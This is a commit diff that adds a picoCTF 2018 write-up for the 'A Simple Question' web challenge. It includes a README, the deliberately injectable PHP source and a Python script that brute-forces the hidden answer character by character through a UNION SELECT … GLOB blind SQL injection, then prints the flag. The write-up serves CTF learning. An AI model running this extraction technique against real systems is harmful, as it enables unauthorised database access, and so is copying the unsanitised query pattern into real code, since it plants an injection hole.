Skip to content

Commit 2775dac

Browse files
PlatyPewPlatyPew
committed
Added A Simple Question
1 parent 19c95df commit 2775dac

File tree

4 files changed

+159
-14
lines changed

4 files changed

+159
-14
lines changed

‎Web Exploitation/A Simple Question/README.md

+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# A Simple Question
2+
Points: 650
3+
4+
## Category
5+
Web Exploitation
6+
7+
## Question
8+
>There is a website running at http://2018shell1.picoctf.com:2644 ([link](http://2018shell1.picoctf.com:2644/)). Try to see if you can answer its question.
9+
10+
### Hint
11+
No Hints.
12+
13+
## Solution
14+
Looking at the source code, we can see that this web application is vulnerable to SQL injections.
15+
16+
```php
17+
include "config.php";
18+
ini_set('error_reporting', E_ALL);
19+
ini_set('display_errors', 'On');
20+
21+
$answer = $_POST["answer"];
22+
$debug = $_POST["debug"];
23+
$query = "SELECT * FROM answers WHERE answer='$answer'";
24+
echo "<pre>";
25+
echo "SQL query: ", htmlspecialchars($query), "\n";
26+
echo "</pre>";
27+
```
28+
29+
However, it doesn't appear to print anything out, but just tells you either you're wrong, you're close, or you get the flag
30+
31+
```php
32+
$con = new SQLite3($database_file);
33+
$result = $con->query($query);
34+
35+
$row = $result->fetchArray();
36+
if($answer == $CANARY) {
37+
echo "<h1>Perfect!</h1>";
38+
echo "<p>Your flag is: $FLAG</p>";
39+
}
40+
elseif ($row) {
41+
echo "<h1>You are so close.</h1>";
42+
} else {
43+
echo "<h1>Wrong.</h1>";
44+
}
45+
```
46+
47+
Alright, let's create a small injection to slowly brute-force the answer.
48+
`' UNION SELECT * FROM answers WHERE answer GLOB '<input>*'; --`
49+
50+
We use _GLOB_ instead of _LIKE_ because it's case-sensitive. Also we use _*_ or _%_ because _GLOB_ uses Unix wildcards.
51+
52+
We run the script and get the flag.
53+
54+
```python
55+
final = ''
56+
while True:
57+
for i in range(0x20, 0x7f):
58+
if i != 42 and i != 63: # Removes Unix wildcards '*' and '?'
59+
params = {
60+
'answer': "' UNION SELECT * FROM answers WHERE answer GLOB '{}{}*'; --".format(final, chr(i))
61+
}
62+
r = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data=params)
63+
res = r.text
64+
print res
65+
```
66+
67+
Working solution [solve.py](solution/solve.py)
68+
69+
### Flag
70+
`picoCTF{qu3stions_ar3_h4rd_28fc1206}`

‎Web Exploitation/A Simple Question/solution/solve.py

+21-14
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,26 @@
11
#!/usr/bin/python
22
import requests
3+
import re
34

4-
final = '41ANDSIXSIXTHS'
5+
def brute():
6+
final = ''
7+
while True:
8+
for i in range(0x20, 0x7f):
9+
if i != 42 and i != 63: # Removes Unix wildcards '*' and '?'
10+
params = {
11+
'answer': "' UNION SELECT * FROM answers WHERE answer GLOB '{}{}*'; --".format(final, chr(i))
12+
}
13+
r = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data=params)
14+
res = r.text
15+
print res
516

6-
#while True:
7-
for i in range(0x20, 0x7f):
8-
if i != 37:
9-
params = {
10-
'answer': "' UNION SELECT * FROM answers WHERE answer LIKE '{}{}%'; --".format(final, chr(i))
11-
}
12-
r = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data=params)
13-
res = r.text
14-
print res
17+
if 'You are so close.' in res:
18+
final += chr(i)
19+
print final
20+
break
21+
elif i == 0x7e:
22+
return final # 41AndSixSixths
1523

16-
if 'You are so close.' in res:
17-
final += chr(i)
18-
print final
19-
break
24+
ans = brute()
25+
flag = requests.post('http://2018shell1.picoctf.com:2644/answer2.php', data={'answer': ans}).text
26+
print 'Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0]

‎Web Exploitation/A Simple Question/solution/source/answer2.phps

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
<?php
2+
include "config.php";
3+
ini_set('error_reporting', E_ALL);
4+
ini_set('display_errors', 'On');
5+
6+
$answer = $_POST["answer"];
7+
$debug = $_POST["debug"];
8+
$query = "SELECT * FROM answers WHERE answer='$answer'";
9+
echo "<pre>";
10+
echo "SQL query: ", htmlspecialchars($query), "\n";
11+
echo "</pre>";
12+
?>
13+
<?php
14+
$con = new SQLite3($database_file);
15+
$result = $con->query($query);
16+
17+
$row = $result->fetchArray();
18+
if($answer == $CANARY) {
19+
echo "<h1>Perfect!</h1>";
20+
echo "<p>Your flag is: $FLAG</p>";
21+
}
22+
elseif ($row) {
23+
echo "<h1>You are so close.</h1>";
24+
} else {
25+
echo "<h1>Wrong.</h1>";
26+
}
27+
?>

‎Web Exploitation/A Simple Question/solution/source/index.html

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
<!doctype html>
2+
<html>
3+
<head>
4+
<title>Question</title>
5+
<link rel="stylesheet" type="text/css" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
6+
</head>
7+
<body>
8+
<div class="container">
9+
<div class="row">
10+
<div class="col-md-12">
11+
<div class="panel panel-primary" style="margin-top:50px">
12+
<div class="panel-heading">
13+
<h3 class="panel-title">A Simple Question</h3>
14+
</div>
15+
<div class="panel-body">
16+
<div>
17+
What is the answer?
18+
</div>
19+
<form action="answer2.php" method="POST">
20+
<!-- source code is in answer2.phps -->
21+
<fieldset>
22+
<div class="form-group">
23+
<div class="controls">
24+
<input id="answer" name="answer" class="form-control">
25+
</div>
26+
</div>
27+
28+
<input type="hidden" name="debug" value="0">
29+
30+
<div class="form-actions">
31+
<input type="submit" value="Answer" class="btn btn-primary">
32+
</div>
33+
</fieldset>
34+
</form>
35+
</div>
36+
</div>
37+
</div>
38+
</div>
39+
</div>
40+
</body>
41+
</html>

0 commit comments

Comments
 (0)